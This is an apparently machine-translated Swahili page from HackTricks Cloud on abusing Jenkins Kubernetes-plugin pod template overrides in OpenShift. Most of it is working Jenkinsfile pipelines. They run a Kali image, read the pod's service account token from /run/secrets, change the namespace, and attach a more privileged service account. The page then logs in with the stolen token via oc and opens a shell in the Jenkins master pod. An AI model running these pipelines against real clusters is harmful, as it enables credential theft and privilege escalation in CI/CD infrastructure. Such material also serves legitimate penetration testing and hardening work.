Jenkins in Openshift - build pod overrides
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Mwandishi wa awali wa ukurasa huu ni Fares
Kubernetes plugin for Jenkins
Plugin hii inawajibika hasa kwa kazi za msingi za Jenkins ndani ya klasta ya openshift/kubernetes. Hati rasmi hapa Inatoa baadhi ya kazi kama uwezo wa waendelezaji kubadilisha baadhi ya mipangilio ya kawaida ya jenkins build pod.
Core functionnality
Plugin hii inaruhusu kubadilika kwa waendelezaji wanapojenga msimbo wao katika mazingira yanayofaa.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Baadhi ya matumizi mabaya yanayotumia pod yaml override
Hata hivyo, inaweza kutumika vibaya kutumia picha yoyote inayopatikana kama Kali Linux na kutekeleza amri zisizo na mipaka kwa kutumia zana zilizowekwa awali kutoka kwa picha hiyo. Katika mfano hapa chini tunaweza kutoa token ya serviceaccount ya pod inayotembea.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
Sintaksia tofauti ili kufikia lengo sawa.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Mfano wa kubadilisha jina la eneo la pod
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Mfano mwingine ambao unajaribu kuunganisha akaunti ya huduma (ambayo inaweza kuwa na ruhusa zaidi kuliko ile ya kawaida, inayoendesha ujenzi wako) kulingana na jina lake. Unaweza kuhitaji kukisia au kuorodhesha akaunti za huduma zilizopo kwanza.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Ile mbinu hiyo hiyo inatumika kujaribu kuunganisha Siri. Lengo kuu hapa litakuwa kubaini jinsi ya kuunda ujenzi wa pod yako ili kuweza kuhamasisha au kupata mamlaka.
Kuenda mbali zaidi
Mara tu unapozoea kucheza nayo, tumia maarifa yako kuhusu Jenkins na Kubernetes/Openshift kutafuta makosa ya usanidi / matumizi mabaya.
Jiulize maswali yafuatayo:
- Ni akaunti gani ya huduma inatumika kupeleka pod za ujenzi?
- Ni majukumu na ruhusa gani ina? Inaweza kusoma siri za eneo la jina ninalo sasa?
- Naweza kuhesabu zaidi pod nyingine za ujenzi?
- Kutoka kwa sa iliyoathirika, naweza kutekeleza amri kwenye nodi/pod ya bwana?
- Naweza kuhesabu zaidi klasta ili kuhamasisha mahali pengine?
- Ni SCC gani inatumika?
Unaweza kubaini ni amri zipi za oc/kubectl za kutoa hapa na hapa.
Mifano ya privesc/pivoting zinazowezekana
Tuchukulie kwamba wakati wa tathmini yako uligundua kuwa ujenzi wote wa jenkins unakimbia ndani ya eneo la jina linaloitwa worker-ns. Uligundua kuwa akaunti ya huduma ya kawaida inayoitwa default-sa imeunganishwa kwenye pod za ujenzi, hata hivyo haina ruhusa nyingi isipokuwa ufikiaji wa kusoma kwenye baadhi ya rasilimali lakini ulishaweza kubaini akaunti ya huduma iliyopo inayoitwa master-sa. Tuchukulie pia kwamba una amri ya oc iliyosakinishwa ndani ya kontena la ujenzi linalokimbia.
Kwa skripti ya ujenzi iliyo hapa chini unaweza kuchukua udhibiti wa akaunti ya huduma ya master-sa na kuhesabu zaidi.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
Kulingana na ufikiaji wako, ama unahitaji kuendelea na shambulio lako kutoka kwa script ya kujenga au unaweza kuingia moja kwa moja kama sa kwenye klasta inayotembea:
oc login --token=$token --server=https://apiserver.com:port
Ikiwa sa hii ina ruhusa za kutosha (kama vile pod/exec), unaweza pia kuchukua udhibiti wa mfano mzima wa jenkins kwa kutekeleza amri ndani ya pod ya nodi ya master, ikiwa inafanya kazi ndani ya namespace hiyo hiyo. Unaweza kwa urahisi kutambua pod hii kupitia jina lake na kwa ukweli kwamba lazima iwe inachomeka PVC (persistant volume claim) inayotumika kuhifadhi data za jenkins.
oc rsh pod_name -c container_name
Ikiwa pod ya nodi ya mkuu haiko ikifanya kazi ndani ya jina sawa na wafanyakazi, unaweza kujaribu mashambulizi sawa kwa kulenga jina la mkuu. Tuone kama inaitwa jenkins-master. Kumbuka kwamba serviceAccount master-sa inahitaji kuwepo kwenye jina la jenkins-master (na huenda isipoe kwenye jina la worker-ns).
HackTricks Cloud